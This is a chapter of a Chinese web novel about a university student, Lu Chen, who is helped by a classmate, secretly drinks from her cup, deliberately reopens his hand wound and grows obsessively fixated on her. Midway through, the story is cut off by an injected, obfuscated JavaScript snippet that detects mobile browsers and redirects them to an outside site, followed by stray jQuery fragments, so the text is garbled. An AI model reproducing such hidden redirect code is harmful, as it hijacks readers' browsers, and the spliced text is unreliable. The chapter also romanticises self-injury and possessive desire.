陆忱看着她，很久。他的嘴唇动了动，想说什么，但只发出一个嘶哑的气音。于是他点了点头，动作很轻微，几乎看不出来。


    但程见微看见了。


    她走过来，脚步依然很轻，但在寂静的旧楼里，每一步都像踩在他的心跳上。她在距离他两米的地方停下——这个距离很近，近到他能看清她睫毛在月光下的阴影，近到他能闻到她身上那种干净的、像阳光晒过的棉布的气味；但又足够远，不会让他感到被侵犯。


    然后她做了两件事。


    第一件：她从双肩包的侧袋里取出一个保温杯。银色的，简约设计，杯身有细微的使用划痕。她拧开杯盖，递过来。


    “温水。”她说，声音依然很平。


    陆忱看着那个杯子，看着杯口——那里有一个小小的、几乎看不见的凹痕，在月光下投出浅浅的阴影。他不知道那个凹痕是怎么来的，可能是磕碰，可能是磨损，总之它存在在那里，像一个隐秘的标记。


    而他记得——他清楚地记得——程见微每次喝水时，嘴唇都会碰到那个位置。


    她有轻微的强迫症，或者说，是某种精确的习惯。每次拧开杯盖，举起杯子，嘴唇会精准地落在那个凹痕上，喝水，然后放下。他观察过三次，她都重复了这个动作。


    现在，她把这个杯子递给了他。


    陆忱伸出手。手指因为刚才的疼痛而微微颤抖，但他还是稳稳地接过了杯子。杯身还带着她的体温，透过金属外壳传递到他的掌心，温暖得几乎灼人。


    他低头看着杯口那个凹痕。


    月光照在上面，银色的金属泛着冷光，但那个小小的凹陷处投出更深的阴影，像某种邀请。


    陆忱的喉结滚动了一下。


    他的大脑在高速运转，分析着各种可能性，评估着各种风险，权衡着各种后果。但所有的理性分析，在这一刻都失效了。有一种更原始、更黑暗的冲动占据了上风——那种想触碰她痕迹的冲动，那种想通过间接的方式靠近她的冲动，那种……


    阴暗的，隐晦的，连他自己都感到羞耻的渴望。


    他把杯子举到唇边。


    然后，很缓慢地，将嘴唇贴在了那个凹痕上。


    金属的微凉触感传来，但很快就被杯内温水的热度中和了。他喝了一口水，温水滑过干涩的喉咙，流进灼痛的胃里，带来一阵短暂的、舒适的缓解。


    但更强烈的，是心理上的冲击。


    他的嘴唇贴在她嘴唇碰过的地方。间接的接触，隐秘的触碰，没有人知道，只有他自己——和他那颗因为这种羞耻但餍足的感觉而疯狂跳动的心脏。


    胃部的疼痛在这一刻完全消失了。


    不是真的消失，是被一种更强烈的、更复杂的情绪淹没了。那种羞耻感，那种罪恶感，那种……隐秘的快感，像潮水般涌上来，淹没了他所有的感官。


    他甚至感觉不到手指关节的伤口了。


    他甚至想——


    想更近一步。


    想把杯子贴得更紧，想在那片金属上留下自己的印记，想和她分享更多，想……


    “药。”


    程见微的声音打断了他的思绪。


    她递过来一个小药盒，透明的塑料盒，里面分格装着几种常见的胃药。她打开盒子，取出一板铝箔包装的药片，掰下两粒，递给他。


    “先吃这个。”她说，“饭后吃的那种，但现在情况特殊。”


    陆忱接过药片。白色的，小小的两粒，躺在他的掌心里，像两颗微型的月亮。他就着温水吞下去，动作有些僵硬，因为他全部的注意力都集中在嘴唇与杯口的接触上——每一次触碰，都像一次隐秘的亲吻。


    一次只有他知道的亲吻。


    吃完药，程见微伸出手。


    陆忱愣了一下，才意识到她是想要回杯子。他有些不舍——那种隐秘的联结即将被切断的不舍——但还是把杯子递还给她。


    程见微接过杯子，拧上杯盖，放回包里。然后她又从另一个口袋里取出一个小铁盒，打开，里面是整齐排列的薄荷糖。绿色的，半透明的，像翡翠。


    “薄荷糖。”她说，取出一颗递给他，“缓解一下嘴里的药味。”


    陆忱接过那颗糖。


    糖很小，躺在他的指尖，冰凉。他看着程见微，看着她平静的脸，看着她那双琥珀色的眼睛——那双眼睛里没有任何情绪波动，就像刚才她只是完成了一个简单的帮助流程：胃疼，给水，给药，给糖，结束。


    没有问他为什么会在这里。


    没有问他发生了什么。


    没有问他为什么崩溃。


    她只是提供了必要的帮助，然后……就结束了。


    这个认知让陆忱的心脏猛地一沉。


    刚才那种隐秘的快感、羞耻的满足，瞬间被一种更尖锐的情绪取代——怅然。像被高高抛起，然后重重摔下的怅然。


    程见微已经开始收拾东西了。她把药盒放回包里，整理了一下风衣的领子，然后看向他手上的伤口。


    “手上的伤，记得处理。”她说，声音依然很平，“校医院晚上八点前还有人。胃痛如果持续，最好去看看医生。”


    她顿了顿，补充了一句：“不要硬撑。”


    四个字，很轻，但像四根针，扎进陆忱的心里。


    不要硬撑。


    可是除了硬撑，他还能怎么做？除了在这个无人的角落崩溃，然后自己站起来，他还能怎么做？


    他想问。


    想问如果下次他再崩溃，她还会不会来。想问如果他需要她，她会不会留下。想问如果……


    但他什么也没问。


    因为他知道答案。


    或者说，他知道没有答案。


    程见微已经转身了。她的背影在月光下显得很单薄，但又很坚定。风衣的下摆随着她的步伐轻轻摆动，素银簪子在月光下泛着冷光。


    她就要走了。


    像她来时一样，安静地，没有预兆地，来了，做了该做的事，然后离开。


    陆忱看着她走向楼梯口，看着她的身影即将消失在拐角。喉咙里像被什么东西堵住了，干涩，疼痛，想说些什么，但发不出声音。


    他想叫住她。


    想说我需要你。


    想说别走。


    但他最终只是挤出了两个字，声音嘶哑得几乎听不见：


    “……谢谢。”


    程见微的脚步顿了顿。


    她回过头，看了他一眼。月光从侧面照在她的脸上，她的睫毛在脸颊上投下细密的阴影。她的嘴唇动了动，似乎想说什么，但最终只是点了点头。


    一个很轻的，几乎看不见的点头。


    然后她转身，走下了楼梯。


    脚步声渐渐远去，最后完全消失。


    旧楼又恢复了寂静。只有月光，灰尘，和陆忱一个人。


    他靠在墙上，看着空荡荡的楼梯口，看着程见微消失的方向。手掌心里的薄荷糖已经开始融化，黏黏的，湿湿的，像他此刻的心情。


    胃部的疼痛又回来了。


    但这一次，不是生理的疼痛，是心理的——那种被留下的疼痛，那种看着她离开却无能为力的疼痛，那种知道她只会给予有限关心然后抽身离去的疼痛。


    他想成为她的什么人。


    不是同学，不是小组队友，不是需要帮助的对象。


    他想成为她会在深夜里寻找的人，想成为她会留下来陪伴的人，想成为她会追问“发生了什么”的人，想成为她……


    在乎的人。


    这个念头像野火，瞬间烧穿了他所有的理智。


    他不想再被她这样有礼但克制地对待。不想再接受她精准的帮助然后看她转身离开。不想再站在安全距离之外，看着她像月光一样，只是照过来，但不留下。


    他想要更多。


    想要她的关注，想要她的时间，想要她的……感情。


    哪怕只是一点点。


    哪怕只是比现在多一点点。


    这个渴望如此强烈，如此疯狂，以至于他的手指又开始颤抖——不是因为疼痛，是因为压抑。压抑那种想冲下楼追上她的冲动，压抑那种想把她拉回来按在墙上的冲动，压抑那种想在她平静的脸上看到其他表情的冲动。


    他低头看着自己的手。


    指关节的伤口还在渗血，暗红色的，在月光下像某种诡异的装饰。他想起程见微说的“记得处理”，想起她平淡的语气，想起她转身离开的背影。


    然后他做了一件事。


    他用那只受伤的手，握成了拳。


    用力。


    指关节的伤口崩开，更多的血渗出来，滴在地上，在灰尘中形成一个个深色的圆点。疼痛很尖锐，很清晰，但那种清晰反而让他感到……安心。


    因为疼痛是真实的。


    因为血是真实的。


    因为这种自毁的


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17053189|193824||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    冲动，是他此刻唯一能掌控的真实。


    他靠在墙上，闭上眼睛。


    脑海里全是程见微的脸。她递杯子时的平静，她给药时的专注，她转身离开时的决绝。


    还有那个杯口的小小凹痕。


    还有他嘴唇贴上去时的隐秘快感。


    还有那种……间接接吻带来的、让他全身战栗的罪恶与满足。


    陆忱的嘴角弯了一下。


    一个很浅的，几乎不存在的，带着血腥味的弧度。


    他知道自己不正常。


    知道这种念头阴暗，扭曲，病态。


    但他控制不了。


    就像控制不了胃部的疼痛，控制不了家族的安排，控制不了自己的人生——


    他也控制不了对程见微的渴望。


    那种想靠近她，想触碰她，想成为她特殊存在的渴望，已经像藤蔓一样缠绕住他的心脏，越收越紧，直到窒息。


    他深吸一口气，睁开眼睛。


    月光依然照在那里，银白色的细线，像一把刀。


    他扶着墙壁，缓缓站起来。胃部的疼痛还在，但可以忍受了。手指的伤口还在流血，但无所谓了。


    他一步步走下楼梯，每一步都很稳，像什么也没有发生过。


    但有些东西已经改变了。


    在他心里。


    在他对程见微的感情里。


    那种温和的、试探的、小心翼翼的靠近，已经结束了。


    取而代之的，是某种更黑暗的、更强烈的、更……


    疯狂的东西。


    他知道这很危险。


    知道这可能会毁了一切。


    但他停不下来。


    就像停不下来的胃痛，停不下来的崩溃，停不下来的……


    渴望。


    走出旧楼时，夜色已经完全降临。


    路灯亮着，在秋风中摇曳，投下摇晃的光斑。远处有学生在笑，声音模糊而遥远。


    陆忱站在那里，看着程见微离开的方向——宿舍区的方向。


    他想：周五就要回海城了。


    要去见那个沈雨桐，要去完成那场被安排的会面，要去扮演那个完美的继承人。


    但在这之前——


    在这之前，他想要再见她一次。


    想要在她平静的脸上，留下一点自己的痕迹。


    哪怕只是一点点。


    同一时间，宿舍区。


    程见微推开寝室门时，沈清淮正坐在书桌前看书。乌黑的长发松松地披在肩上，发间别着一个淡粉色的花饰，在台灯下泛着柔和的光泽。


    “回来了？”沈清淮抬起头，目光在她脸上停留了片刻，“你脸色不太好。”


    “没事。”程见微把包放下，脱下风衣挂好，“只是有点累。”


    沈清淮合上书，转过身看着她。那双清隽的眼睛很通透，像能看穿一切伪装。


    “你见到陆忱了？”她问，声音很轻。


    程见微没有回答，但沉默本身就是答案。


    沈清淮点了点头，没有追问。她只是说：“井水需要流动，才能保持清澈。但如果流动得太快，可能会冲垮堤坝。”


    程见微看向她。


    沈清淮笑了笑，笑容很淡，带着一点慵懒的疏离：“我只是在说井水。好了，我去洗澡，你早点休息。”


    她站起身，拿了洗漱用品，走向卫生间。走到门口时，她停顿了一下，回头说：


    “见微，有些事，不是你的责任。但如果你选择承担，就要准备好承担所有的后果——包括那些你预料不到的后果。”


    门关上了。


    程见微站在原地，看着那扇关上的门。


    然后她走到书桌前，坐下，打开台灯。


    暖黄色的灯光洒在桌面上，照亮了她的笔记本。她翻开最新一页，拿起钢笔，在纸面上写下一行字：


    【干预过度。情感介入加深。需要重新评估安全距离。】


    但写完这行字，她又把它划掉了。


    不是因为她改变了想法，而是因为她知道——有些事，一旦开始，就回不了头了。


    就像有些情感，一旦产生，就消除不了了。


    她关上台灯，坐在黑暗里。


    窗外，秋风还在吹，梧桐树的影子在玻璃上摇晃，像某种无声的预兆。


    而在这个夜晚，两个人都知道——


    有些东西，已经改变了。